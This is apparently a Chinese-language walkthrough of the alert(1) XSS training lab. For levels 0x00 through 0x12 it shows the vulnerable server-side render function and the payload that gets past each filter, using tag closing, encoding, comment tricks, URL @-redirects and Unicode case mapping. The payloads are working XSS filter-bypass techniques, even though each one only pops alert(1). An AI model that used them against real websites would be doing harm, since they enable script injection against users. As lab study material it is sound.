类型分类

  • 反射型:payload存在于恶意链接,没有存在于服务器内,被攻击者点击遭罪;
  • 存储型:payload被上传到服务器,出现在留言评论交互处,访问被注入了payload的页面就会被攻击;
  • DOM型:基于DOM文档对象的一种漏洞,DOM型并不会和后台进行交互,是前端的安全问题,防御也只能在客户端上进行;

LAB说明

使用靶场:

alert(1) (haozi.me)

所有类型都为DOM型xss

DOM型解题思路

  • 最终的目的都是构造 <script>alert(1)</script>;
  • 除了第一步写法也可以写在元素属性里,触发发生;
  • 先给参数判断回显,看是在哪个标签里;
  • 第一种思想:闭包标签;
  • 遇到正则匹配无法闭包分情况:
    • 遇到匹配符号,能用特殊写法绕就用特殊写法
    • 绕不过符号,尝试unicode编码绕过,双写绕过
    • 匹配一句话,尝试中断匹配,如加空格,回车
    • 匹配网址,可使用http协议@跳转

0X00

服务器代码:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

input是参数,利用url传入;

输入参数传入js函数返回给用户html,需要实现弹窗功能则输入为:

1
<script> alert(1) </script>

0X01

服务器代码:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

说明:textarea 是一个多行文本框,期间的内容都是它的内容,有一个思路和sql注入相似–闭包:

1
</textarea><script>alert(1)</script><textarea>

0X02

服务器代码:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

说明:input 是一个输入框,类型和输入内容分别是type及value;

同样是采用闭包,思想和sql注入相似:

1
"><script> alert(1) </script>

0X03

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

正则替换左右括号,可使用反引号写法绕过:

1
<script>alert`1`</script>

0X04

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

Unicode编码绕过: &#40; &#41;

只可以在标签属性内使用:src,onmouseover,value…

在这里使用onload,页面加载完后执行的动作;

这里说明,在””内的任何编码都会被解释为对应字符,即使””内有”的Unicode编码都会使其提前闭包!!!

1
<body onload="alert&#40;1&#41;"></body>

0X05

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

注释绕过,但不能使用向后闭包的方式;

注释符还有一个写法: –!>

1
--!><script>alert(1)</script>

0X06

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

输入框以及特殊符号绕过,匹配内容为以auto和on开头的某个属性后面跟着=或>;

正则里,.不匹配换行符,则可以如下写法:

1
2
onmouseover
="alert(1)"

onmouseover属性是当鼠标移动到元素上的时候触发;

0x07

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

正则匹配html标签,并且用article包裹

由于html的写法问题,不闭合>也能跑:

1
<body onload="alert(1)"

0X08

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

style是css标签,里面不能跑js脚本

可以不完整按着它的写法(加个空格)写后缀就行了:

其实也可以双写绕过</style>

1
</style > <script>alert(1)</script>

0X09

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

匹配了一个网址,没有大小写区分以及全局匹配;

依然采用闭包思想;

1
http://www.segmentfault.com "></script> <script>alert(1)</script> <!-- 

0x0A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

替换特殊字符,无法闭包;

http协议中有种写法为:
https://abcde@www.djdjdj.com
用来做身份验证,实际访问后面那个网址;

又这个lab提供了一个j.js的自带alert(1)的网页,所以可以这么写:

1
https://www.segmentfault.com@https://xss.haozi.me/j.js

注意艾特之后也得加上协议,如果前者用的是http,后者不能用https!!!

0x0B

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

使得全体字符大写,标签不受影响;

但是alert收到了影响;

这里是html不受大小写影响,js会,所以使用编码绕过:

1
</h1><body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></body><h1>

0X0C

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

在B的基础上过滤掉了script标签,无所谓还是上面的绕过方式:

1
</h1><body onload="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></body><h1>

说明一下,如果用script标签的话,可以双写绕过,具体见SQLlabs;

0X0D

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

屏蔽了特殊符号;

回车加注释 –>

1
2
alert(1); 
-->

0X0E

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

将字符开头的内容替换为_开头,解决了html标签的闭合;

有特殊写法绕过toUpperCase:
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

所以:

1
<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

在属性中编码仍然有效,也就是之前说的””内:

1
'); alert(1); //

0x10

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

一道非常简单只需要闭合就行的题:

1
2
123;
alert(1)

0x11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

这道题给我一种宽字节注入的既视感,将字符都进行转义为\;

实际上也是和0x0F一样的类型;

1
"); alert(1); //

0x12

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

不让用”但是可以双转义,用自己的斜杠去转义它的斜杠:

1
\"); alert(1);//